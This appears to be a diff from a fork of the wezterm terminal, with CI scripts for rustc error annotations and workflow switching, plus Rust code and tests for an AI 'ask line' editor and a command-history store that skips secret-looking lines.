grep -v '^{' "$work/out" >"$work/plain" || true
|
||||
cat "$work/plain"
|
||||
|
||||
# One line per error: the annotation command, with the message escaped for it.
|
||||
jq -rR '
|
||||
def esc: gsub("%"; "%25") | gsub("\r"; "%0D") | gsub("\n"; "%0A");
|
||||
fromjson?
|
||||
| select(type == "object" and .reason == "compiler-message")
|
||||
| .message
|
||||
| select(.level == "error" or .level == "error: internal compiler error")
|
||||
| select((.message // "") | startswith("aborting due to") | not)
|
||||
| ((.spans // []) | map(select(.is_primary)) | .[0]) as $s
|
||||
| ((.rendered // .message // "") | .[0:1800] | esc) as $text
|
||||
| if $s then "::error file=\($s.file_name),line=\($s.line_start),title=rustc::\($text)"
|
||||
else "::error title=rustc::\($text)" end
|
||||
' "$work/out" >"$work/errors" 2>/dev/null || true
|
||||
|
||||
# In the log: every error as rendered, whether cargo failed or not.
|
||||
jq -rR 'fromjson? | select(type == "object" and .reason == "compiler-message") | .message
|
||||
| select(.level | startswith("error")) | .rendered // .message' "$work/out" 2>/dev/null || true
|
||||
|
||||
if [ "$rc" -ne 0 ] && [ -n "${GITHUB_ACTIONS:-}" ]; then
|
||||
count="$(wc -l <"$work/errors")"
|
||||
head -n 9 "$work/errors"
|
||||
if [ "$count" -gt 9 ]; then
|
||||
rest="$(sed -n '10,39p' "$work/errors" | sed 's/^::error [^:]*title=rustc:://; s/^::error title=rustc:://' | awk 'BEGIN{ORS="%0A%0A"} {print substr($0, 1, 700)}')"
|
||||
printf '::error title=rustc (%s errors in all, from the tenth)::%s\n' "$count" "$rest"
|
||||
fi
|
||||
failing="$(grep -E -A6 'panicked at|^---- .* ----$|^test .* FAILED$|^failures:$|test result: FAILED' "$work/plain" | head -n 80 | head -c 6000)"
|
||||
if [ -n "$failing" ]; then
|
||||
printf '::error title=cargo %s: tests::%s\n' "$sub" "$(printf '%s' "$failing" | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
|
||||
fi
|
||||
if [ "$count" -eq 0 ] && [ -z "$failing" ]; then
|
||||
printf '::error title=cargo %s failed::%s\n' "$sub" "$(tail -n 40 "$work/err" | head -c 6000 | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
|
||||
fi
|
||||
fi
|
||||
exit "$rc"
|
||||
@@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env bash
|
||||
# Switch off every GitHub Actions workflow in a repository except ours (llembas-tty.yml).
|
||||
# Switch off every GitHub Actions workflow in a repository except ours (llembas-term.yml).
|
||||
#
|
||||
# llembas/ci/disable-upstream-workflows.sh <owner>/<repository>
|
||||
#
|
||||
@@ -14,7 +14,7 @@ repo="${1:?usage: disable-upstream-workflows.sh <owner>/<repository>}"
|
||||
gh workflow list --repo "$repo" --all --json name,path,state --jq '.[] | [.path, .state] | @tsv' |
|
||||
while IFS=$'\t' read -r path state; do
|
||||
case "$path" in
|
||||
.github/workflows/llembas-tty.yml)
|
||||
.github/workflows/llembas-term.yml)
|
||||
[ "$state" = active ] || gh workflow enable "$path" --repo "$repo"
|
||||
echo "ours, on: $path"
|
||||
;;
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# LLeMbas TERM: what the terminal decides about a line of text, with no terminal in it.
|
||||
# The ask line's editor, the shell's input line as read from the screen, the terminal's own
|
||||
# command history and its suggestions, and the colours of a command line. Nothing here knows
|
||||
# about a window, a pane or a font: wezterm-gui/src/llembas/ is the thin part that does, and
|
||||
# this crate is the part that is tested (`cargo test -p llembas-line`).
|
||||
[package]
|
||||
name = "llembas-line"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
publish = false
|
||||
description = "LLeMbas TERM: the logic of the ask line, suggestions and highlighting, without a terminal"
|
||||
|
||||
[lib]
|
||||
path = "src/lib.rs"
|
||||
|
||||
[dependencies]
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,626 @@
|
||||
//! The ask line: the line a person types a question for LLeMbas on, in place
|
||||
//! of the shell's own line. The terminal keeps this editor itself, so nothing
|
||||
//! typed here ever reaches the shell.
|
||||
|
||||
/// The most characters a question may have.
|
||||
pub const MAX_CHARS: usize = 4000;
|
||||
/// The most earlier questions that are kept.
|
||||
pub const MAX_HISTORY: usize = 100;
|
||||
/// What stands between the prefix and the question.
|
||||
pub const SEPARATOR: &str = " \u{203a} ";
|
||||
/// What stands for the part of a long question that is scrolled out.
|
||||
pub const ELLIPSIS: char = '\u{2026}';
|
||||
|
||||
/// What a key press means to the editor. The terminal's part maps its own key
|
||||
/// codes to these.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Key {
|
||||
Char(char),
|
||||
Backspace,
|
||||
Delete,
|
||||
Left,
|
||||
Right,
|
||||
Home,
|
||||
End,
|
||||
WordLeft,
|
||||
WordRight,
|
||||
DeleteWordLeft,
|
||||
DeleteWordRight,
|
||||
DeleteToStart,
|
||||
DeleteToEnd,
|
||||
/// An earlier question.
|
||||
Up,
|
||||
/// A later one, and at last what was being typed.
|
||||
Down,
|
||||
Enter,
|
||||
Cancel,
|
||||
}
|
||||
|
||||
/// What a key did.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum Outcome {
|
||||
Unchanged,
|
||||
Changed,
|
||||
/// Send this question.
|
||||
Submit(String),
|
||||
/// Leave the ask line; nothing is sent.
|
||||
Cancel,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct LineEditor {
|
||||
chars: Vec<char>,
|
||||
cursor: usize,
|
||||
/// Earlier questions, the oldest first.
|
||||
history: Vec<String>,
|
||||
/// Which earlier question is shown, while walking through them.
|
||||
at: Option<usize>,
|
||||
/// What was being typed before walking through earlier questions.
|
||||
stash: Vec<char>,
|
||||
}
|
||||
|
||||
/// A character as it may stand on the line: a line break or a tab is a space,
|
||||
/// any other control character is nothing.
|
||||
fn clean_char(c: char) -> Option<char> {
|
||||
if c == '\n' || c == '\r' || c == '\t' {
|
||||
Some(' ')
|
||||
} else if c.is_control() {
|
||||
None
|
||||
} else {
|
||||
Some(c)
|
||||
}
|
||||
}
|
||||
|
||||
impl LineEditor {
|
||||
pub fn new(history: &[String]) -> Self {
|
||||
LineEditor {
|
||||
chars: Vec::new(),
|
||||
cursor: 0,
|
||||
history: history.to_vec(),
|
||||
at: None,
|
||||
stash: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn text(&self) -> String {
|
||||
self.chars.iter().collect()
|
||||
}
|
||||
|
||||
pub fn chars(&self) -> &[char] {
|
||||
&self.chars
|
||||
}
|
||||
|
||||
/// Where the cursor is: before the character of this index.
|
||||
pub fn cursor(&self) -> usize {
|
||||
self.cursor
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.chars.is_empty()
|
||||
}
|
||||
|
||||
fn word_left(&self) -> usize {
|
||||
let mut i = self.cursor;
|
||||
while i > 0 && self.chars[i - 1].is_whitespace() {
|
||||
i -= 1;
|
||||
}
|
||||
while i > 0 && !self.chars[i - 1].is_whitespace() {
|
||||
i -= 1;
|
||||
}
|
||||
i
|
||||
}
|
||||
|
||||
fn word_right(&self) -> usize {
|
||||
let n = self.chars.len();
|
||||
let mut i = self.cursor;
|
||||
while i < n && self.chars[i].is_whitespace() {
|
||||
i += 1;
|
||||
}
|
||||
while i < n && !self.chars[i].is_whitespace() {
|
||||
i += 1;
|
||||
}
|
||||
i
|
||||
}
|
||||
|
||||
fn set_line(&mut self, chars: Vec<char>) {
|
||||
self.chars = chars;
|
||||
self.cursor = self.chars.len();
|
||||
}
|
||||
|
||||
fn insert_char(&mut self, c: char) -> bool {
|
||||
if self.chars.len() >= MAX_CHARS {
|
||||
return false;
|
||||
}
|
||||
self.chars.insert(self.cursor, c);
|
||||
self.cursor += 1;
|
||||
true
|
||||
}
|
||||
|
||||
/// Text put on the line at once: a paste, or composed input. Line breaks
|
||||
/// become one space each (a pasted question of several lines is still one
|
||||
/// question), other control characters are dropped.
|
||||
pub fn insert_text(&mut self, text: &str) -> Outcome {
|
||||
let mut changed = false;
|
||||
let mut last_was_break = false;
|
||||
for c in text.chars() {
|
||||
let is_break = c == '\n' || c == '\r';
|
||||
if is_break && last_was_break {
|
||||
continue;
|
||||
}
|
||||
last_was_break = is_break;
|
||||
if let Some(c) = clean_char(c) {
|
||||
if self.insert_char(c) {
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if changed {
|
||||
Outcome::Changed
|
||||
} else {
|
||||
Outcome::Unchanged
|
||||
}
|
||||
}
|
||||
|
||||
pub fn key(&mut self, key: Key) -> Outcome {
|
||||
let n = self.chars.len();
|
||||
match key {
|
||||
Key::Char(c) => match clean_char(c) {
|
||||
Some(c) => {
|
||||
if self.insert_char(c) {
|
||||
Outcome::Changed
|
||||
} else {
|
||||
Outcome::Unchanged
|
||||
}
|
||||
}
|
||||
None => Outcome::Unchanged,
|
||||
},
|
||||
Key::Backspace => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor -= 1;
|
||||
self.chars.remove(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Delete => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.remove(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Left => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor -= 1;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Right => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor += 1;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Home => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = 0;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::End => {
|
||||
if self.cursor == n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = n;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::WordLeft => {
|
||||
let to = self.word_left();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::WordRight => {
|
||||
let to = self.word_right();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteWordLeft => {
|
||||
let to = self.word_left();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(to..self.cursor);
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteWordRight => {
|
||||
let to = self.word_right();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(self.cursor..to);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteToStart => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(0..self.cursor);
|
||||
self.cursor = 0;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteToEnd => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.truncate(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Up => {
|
||||
if self.history.is_empty() {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
let next = match self.at {
|
||||
None => {
|
||||
self.stash = self.chars.clone();
|
||||
self.history.len() - 1
|
||||
}
|
||||
Some(0) => return Outcome::Unchanged,
|
||||
Some(i) => i - 1,
|
||||
};
|
||||
self.at = Some(next);
|
||||
let line: Vec<char> = self.history[next].chars().collect();
|
||||
self.set_line(line);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Down => {
|
||||
let i = match self.at {
|
||||
None => return Outcome::Unchanged,
|
||||
Some(i) => i,
|
||||
};
|
||||
if i + 1 < self.history.len() {
|
||||
self.at = Some(i + 1);
|
||||
let line: Vec<char> = self.history[i + 1].chars().collect();
|
||||
self.set_line(line);
|
||||
} else {
|
||||
self.at = None;
|
||||
let line = std::mem::take(&mut self.stash);
|
||||
self.set_line(line);
|
||||
}
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Enter => {
|
||||
let text = self.text();
|
||||
let text = text.trim();
|
||||
if text.is_empty() {
|
||||
Outcome::Cancel
|
||||
} else {
|
||||
Outcome::Submit(text.to_string())
|
||||
}
|
||||
}
|
||||
Key::Cancel => Outcome::Cancel,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Keep a question that was sent among the earlier ones: the newest last, each
|
||||
/// once, no more than [`MAX_HISTORY`].
|
||||
pub fn remember(history: &mut Vec<String>, line: &str) {
|
||||
let line = line.trim();
|
||||
if line.is_empty() {
|
||||
return;
|
||||
}
|
||||
history.retain(|h| h != line);
|
||||
history.push(line.to_string());
|
||||
if history.len() > MAX_HISTORY {
|
||||
let extra = history.len() - MAX_HISTORY;
|
||||
history.drain(0..extra);
|
||||
}
|
||||
}
|
||||
|
||||
/// The ask line as it fits one row of a pane.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct View {
|
||||
/// What stands before the question: the prefix and the separator, or less
|
||||
/// when the row is narrow.
|
||||
pub lead: String,
|
||||
/// The part of the question that shows.
|
||||
pub text: String,
|
||||
/// The column of the cursor in the row.
|
||||
pub cursor_col: usize,
|
||||
}
|
||||
|
||||
/// Fit the ask line into `cols` columns. `width` gives the columns a character
|
||||
/// takes. The cursor is always in the row; a question longer than the row
|
||||
/// scrolls, with an ellipsis where its beginning went.
|
||||
pub fn view(
|
||||
prefix: &str,
|
||||
chars: &[char],
|
||||
cursor: usize,
|
||||
cols: usize,
|
||||
width: &dyn Fn(char) -> usize,
|
||||
) -> View {
|
||||
let cursor = cursor.min(chars.len());
|
||||
let text_width = |s: &str| -> usize { s.chars().map(|c| width(c)).sum() };
|
||||
|
||||
let full = format!("{}{}", prefix, SEPARATOR);
|
||||
let short = format!("{} ", SEPARATOR.trim());
|
||||
let lead = if text_width(&full) + 8 <= cols {
|
||||
full
|
||||
} else if text_width(&short) + 2 <= cols {
|
||||
short
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
let lead_width = text_width(&lead);
|
||||
// the columns the question has, and one of them is kept for the cursor
|
||||
let limit = cols.saturating_sub(lead_width);
|
||||
let room = limit.saturating_sub(1);
|
||||
|
||||
let before: usize = chars[..cursor].iter().map(|c| width(*c)).sum();
|
||||
let mut first = 0;
|
||||
if before > room {
|
||||
// scrolled: one column goes to the ellipsis
|
||||
let budget = room.saturating_sub(1);
|
||||
first = cursor;
|
||||
let mut acc = 0;
|
||||
while first > 0 {
|
||||
let w = width(chars[first - 1]);
|
||||
if acc + w > budget {
|
||||
break;
|
||||
}
|
||||
acc += w;
|
||||
first -= 1;
|
||||
}
|
||||
}
|
||||
|
||||
let mut text = String::new();
|
||||
let mut used = 0;
|
||||
if first > 0 && limit > 0 {
|
||||
text.push(ELLIPSIS);
|
||||
used += 1;
|
||||
}
|
||||
let mut cursor_col = lead_width + used;
|
||||
for (i, c) in chars.iter().enumerate().skip(first) {
|
||||
let w = width(*c);
|
||||
if used + w > limit {
|
||||
break;
|
||||
}
|
||||
text.push(*c);
|
||||
used += w;
|
||||
if i < cursor {
|
||||
cursor_col = lead_width + used;
|
||||
}
|
||||
}
|
||||
cursor_col = cursor_col.min(cols.saturating_sub(1));
|
||||
View {
|
||||
lead,
|
||||
text,
|
||||
cursor_col,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn typed(editor: &mut LineEditor, text: &str) {
|
||||
for c in text.chars() {
|
||||
editor.key(Key::Char(c));
|
||||
}
|
||||
}
|
||||
|
||||
fn one(_: char) -> usize {
|
||||
1
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn typing_and_moving() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert!(e.is_empty());
|
||||
typed(&mut e, "why did it fail");
|
||||
assert_eq!(e.text(), "why did it fail");
|
||||
assert_eq!(e.cursor(), 15);
|
||||
assert_eq!(e.key(Key::Home), Outcome::Changed);
|
||||
assert_eq!(e.cursor(), 0);
|
||||
assert_eq!(e.key(Key::Home), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Left), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Backspace), Outcome::Unchanged);
|
||||
e.key(Key::WordRight);
|
||||
assert_eq!(e.cursor(), 3);
|
||||
e.key(Key::WordRight);
|
||||
assert_eq!(e.cursor(), 7);
|
||||
e.key(Key::WordLeft);
|
||||
assert_eq!(e.cursor(), 4);
|
||||
e.key(Key::End);
|
||||
assert_eq!(e.cursor(), 15);
|
||||
assert_eq!(e.key(Key::End), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Right), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Delete), Outcome::Unchanged);
|
||||
e.key(Key::Left);
|
||||
e.key(Key::Char('!'));
|
||||
assert_eq!(e.text(), "why did it fai!l");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deleting() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
typed(&mut e, "one two three");
|
||||
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Changed);
|
||||
assert_eq!(e.text(), "one two ");
|
||||
e.key(Key::DeleteWordLeft);
|
||||
assert_eq!(e.text(), "one ");
|
||||
e.key(Key::Backspace);
|
||||
assert_eq!(e.text(), "one");
|
||||
e.key(Key::Home);
|
||||
e.key(Key::Delete);
|
||||
assert_eq!(e.text(), "ne");
|
||||
typed(&mut e, "x y ");
|
||||
assert_eq!(e.text(), "x y ne");
|
||||
e.key(Key::DeleteToEnd);
|
||||
assert_eq!(e.text(), "x y ");
|
||||
assert_eq!(e.key(Key::DeleteToEnd), Outcome::Unchanged);
|
||||
e.key(Key::Home);
|
||||
e.key(Key::DeleteWordRight);
|
||||
assert_eq!(e.text(), " y ");
|
||||
e.key(Key::End);
|
||||
e.key(Key::DeleteToStart);
|
||||
assert_eq!(e.text(), "");
|
||||
assert_eq!(e.key(Key::DeleteToStart), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::DeleteWordRight), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sending_and_leaving() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(
|
||||
e.key(Key::Enter),
|
||||
Outcome::Cancel,
|
||||
"an empty line sends nothing"
|
||||
);
|
||||
typed(&mut e, " ");
|
||||
assert_eq!(e.key(Key::Enter), Outcome::Cancel, "nor a blank one");
|
||||
typed(&mut e, "hello ");
|
||||
assert_eq!(e.key(Key::Enter), Outcome::Submit("hello".to_string()));
|
||||
assert_eq!(e.key(Key::Cancel), Outcome::Cancel);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn control_characters_never_stand_on_the_line() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(e.key(Key::Char('\u{1b}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\u{7}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\u{9b}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\t')), Outcome::Changed);
|
||||
assert_eq!(e.text(), " ");
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(
|
||||
e.insert_text("first\r\nsecond\n\nthird\u{1b}[31m\u{7}"),
|
||||
Outcome::Changed
|
||||
);
|
||||
assert_eq!(e.text(), "first second third[31m");
|
||||
assert_eq!(e.insert_text("\u{1b}\u{7}"), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pasting_goes_in_at_the_cursor() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
typed(&mut e, "ab");
|
||||
e.key(Key::Left);
|
||||
e.insert_text("XY");
|
||||
assert_eq!(e.text(), "aXYb");
|
||||
assert_eq!(e.cursor(), 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_question_is_not_endless() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
let long: String = std::iter::repeat('a').take(MAX_CHARS + 50).collect();
|
||||
e.insert_text(&long);
|
||||
assert_eq!(e.chars().len(), MAX_CHARS);
|
||||
assert_eq!(e.key(Key::Char('b')), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn earlier_questions() {
|
||||
let history = vec!["first".to_string(), "second".to_string()];
|
||||
let mut e = LineEditor::new(&history);
|
||||
typed(&mut e, "dra");
|
||||
assert_eq!(e.key(Key::Up), Outcome::Changed);
|
||||
assert_eq!(e.text(), "second");
|
||||
assert_eq!(e.cursor(), 6);
|
||||
e.key(Key::Up);
|
||||
assert_eq!(e.text(), "first");
|
||||
assert_eq!(e.key(Key::Up), Outcome::Unchanged);
|
||||
e.key(Key::Down);
|
||||
assert_eq!(e.text(), "second");
|
||||
e.key(Key::Down);
|
||||
assert_eq!(e.text(), "dra", "back to what was being typed");
|
||||
assert_eq!(e.key(Key::Down), Outcome::Unchanged);
|
||||
let mut none = LineEditor::new(&[]);
|
||||
assert_eq!(none.key(Key::Up), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remembering() {
|
||||
let mut h = Vec::new();
|
||||
remember(&mut h, " one ");
|
||||
remember(&mut h, "two");
|
||||
remember(&mut h, "one");
|
||||
remember(&mut h, " ");
|
||||
assert_eq!(h, vec!["two".to_string(), "one".to_string()]);
|
||||
for i in 0..(MAX_HISTORY + 10) {
|
||||
remember(&mut h, &format!("q{}", i));
|
||||
}
|
||||
assert_eq!(h.len(), MAX_HISTORY);
|
||||
assert_eq!(h[h.len() - 1], format!("q{}", MAX_HISTORY + 9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_line_fits_the_row() {
|
||||
let chars: Vec<char> = "hello".chars().collect();
|
||||
let v = view("llembas m \u{b7} auto", &chars, 5, 80, &one);
|
||||
assert_eq!(v.lead, "llembas m \u{b7} auto \u{203a} ");
|
||||
assert_eq!(v.text, "hello");
|
||||
assert_eq!(v.cursor_col, 19 + 5);
|
||||
let v = view("llembas", &chars, 2, 80, &one);
|
||||
assert_eq!(v.cursor_col, 10 + 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_long_question_scrolls() {
|
||||
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
// lead "p › " is 4 columns, the row has 14: ten for the question
|
||||
let v = view("p", &chars, 26, 14, &one);
|
||||
assert_eq!(v.lead, "p \u{203a} ");
|
||||
assert_eq!(v.text, "\u{2026}stuvwxyz");
|
||||
assert_eq!(v.cursor_col, 13, "the cursor stays in the row");
|
||||
let v = view("p", &chars, 0, 14, &one);
|
||||
assert_eq!(v.text, "abcdefghij");
|
||||
assert_eq!(v.cursor_col, 4);
|
||||
let v = view("p", &chars, 9, 14, &one);
|
||||
assert_eq!(v.text, "abcdefghij", "not scrolled while the cursor fits");
|
||||
assert_eq!(v.cursor_col, 13);
|
||||
let v = view("p", &chars, 10, 14, &one);
|
||||
assert_eq!(v.text, "\u{2026}cdefghijk");
|
||||
assert_eq!(v.cursor_col, 13);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_narrow_row_gives_up_the_prefix() {
|
||||
let chars: Vec<char> = "hi".chars().collect();
|
||||
let v = view("llembas big-model \u{b7} manual", &chars, 2, 20, &one);
|
||||
assert_eq!(v.lead, "\u{203a} ");
|
||||
assert_eq!(v.text, "hi");
|
||||
assert_eq!(v.cursor_col, 4);
|
||||
let v = view("llembas", &chars, 2, 3, &one);
|
||||
assert_eq!(v.lead, "");
|
||||
assert_eq!(v.cursor_col, 2);
|
||||
let v = view("llembas", &chars, 2, 0, &one);
|
||||
assert_eq!(v.text, "");
|
||||
assert_eq!(v.cursor_col, 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wide_characters_take_two_columns() {
|
||||
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
|
||||
let chars: Vec<char> = "a\u{4e2d}b".chars().collect();
|
||||
let v = view("p", &chars, 2, 40, &wide);
|
||||
assert_eq!(v.cursor_col, 4 + 3);
|
||||
// six columns for the question: a wide character that does not fit is left out
|
||||
let chars: Vec<char> = "\u{4e2d}\u{4e2d}\u{4e2d}\u{4e2d}".chars().collect();
|
||||
let v = view("p", &chars, 0, 9, &wide);
|
||||
assert_eq!(v.lead, "\u{203a} ");
|
||||
assert_eq!(v.text, "\u{4e2d}\u{4e2d}\u{4e2d}");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,509 @@
|
||||
//! The terminal's own history of commands: the lines it saw run in its panes,
|
||||
//! kept for the suggestions it draws after the cursor. It is not the shell's
|
||||
//! history file, and never reads one.
|
||||
//!
|
||||
//! What is kept of a command: its text, how it ended, the directory it ran in
|
||||
//! and when. What is never kept: a line that starts with a space (the shells'
|
||||
//! own way of saying "do not remember this"), a line of several lines, a
|
||||
//! command that was not found, anything with a control character in it, and
|
||||
//! a line that looks as if it holds a secret ([`crate::secret`]): what is not
|
||||
//! kept is never offered back and never goes anywhere later. A pane marked
|
||||
//! private records nothing, which is the caller's to see to.
|
||||
//!
|
||||
//! The file is the person's alone (mode 0600), one command a line, appended
|
||||
//! to as commands run and rewritten smaller when it has grown.
|
||||
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
/// The first line of the file.
|
||||
pub const HEADER: &str = "# llembas-term history 1";
|
||||
/// The most bytes of one command that are kept.
|
||||
pub const MAX_COMMAND_BYTES: usize = 2000;
|
||||
/// An exit status that is not known.
|
||||
pub const NO_EXIT: i32 = -1;
|
||||
/// The shells' exit status for a command that does not exist.
|
||||
const NOT_FOUND: i32 = 127;
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Entry {
|
||||
pub command: String,
|
||||
/// Its exit status, or [`NO_EXIT`].
|
||||
pub exit: i32,
|
||||
/// The directory it ran in; empty when not known.
|
||||
pub cwd: String,
|
||||
/// When it ended, seconds since the epoch.
|
||||
pub time: u64,
|
||||
}
|
||||
|
||||
/// Is this a command the history keeps?
|
||||
pub fn accepts(command: &str, exit: i32) -> bool {
|
||||
if command.starts_with(' ') || exit == NOT_FOUND {
|
||||
return false;
|
||||
}
|
||||
let trimmed = command.trim();
|
||||
!trimmed.is_empty()
|
||||
&& trimmed.len() <= MAX_COMMAND_BYTES
|
||||
&& trimmed.chars().all(crate::suggest::is_shown)
|
||||
&& !crate::secret::looks_secret(trimmed)
|
||||
}
|
||||
|
||||
fn escape(text: &str) -> String {
|
||||
let mut out = String::with_capacity(text.len());
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
'\\' => out.push_str("\\\\"),
|
||||
'\t' => out.push_str("\\t"),
|
||||
'\n' => out.push_str("\\n"),
|
||||
'\r' => out.push_str("\\r"),
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn unescape(text: &str) -> String {
|
||||
let mut out = String::with_capacity(text.len());
|
||||
let mut chars = text.chars();
|
||||
while let Some(c) = chars.next() {
|
||||
if c != '\\' {
|
||||
out.push(c);
|
||||
continue;
|
||||
}
|
||||
match chars.next() {
|
||||
Some('t') => out.push('\t'),
|
||||
Some('n') => out.push('\n'),
|
||||
Some('r') => out.push('\r'),
|
||||
Some(other) => out.push(other),
|
||||
None => out.push('\\'),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
impl Entry {
|
||||
/// The entry as one line of the file, without the line break.
|
||||
pub fn to_line(&self) -> String {
|
||||
format!(
|
||||
"{}\t{}\t{}\t{}",
|
||||
self.time,
|
||||
self.exit,
|
||||
escape(&self.cwd),
|
||||
escape(&self.command)
|
||||
)
|
||||
}
|
||||
|
||||
/// An entry from a line of the file; `None` for a line that is not one.
|
||||
pub fn from_line(line: &str) -> Option<Entry> {
|
||||
let mut parts = line.splitn(4, '\t');
|
||||
let time = parts.next()?.parse::<u64>().ok()?;
|
||||
let exit = parts.next()?.parse::<i32>().ok()?;
|
||||
let cwd = unescape(parts.next()?);
|
||||
let command = unescape(parts.next()?);
|
||||
if !accepts(&command, exit) {
|
||||
return None;
|
||||
}
|
||||
Some(Entry {
|
||||
command,
|
||||
exit,
|
||||
cwd,
|
||||
time,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct History {
|
||||
/// The oldest first; each command once.
|
||||
entries: Vec<Entry>,
|
||||
max: usize,
|
||||
}
|
||||
|
||||
impl History {
|
||||
pub fn new(max: usize) -> Self {
|
||||
History {
|
||||
entries: Vec::new(),
|
||||
max,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.entries.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.entries.is_empty()
|
||||
}
|
||||
|
||||
pub fn entries(&self) -> &[Entry] {
|
||||
&self.entries
|
||||
}
|
||||
|
||||
pub fn clear(&mut self) {
|
||||
self.entries.clear();
|
||||
}
|
||||
|
||||
/// Keep a command. A command that is there already moves to the newest
|
||||
/// place; the oldest go when there are more than `max`. Returns whether it
|
||||
/// was kept.
|
||||
pub fn add(&mut self, entry: Entry) -> bool {
|
||||
if self.max == 0 || !accepts(&entry.command, entry.exit) {
|
||||
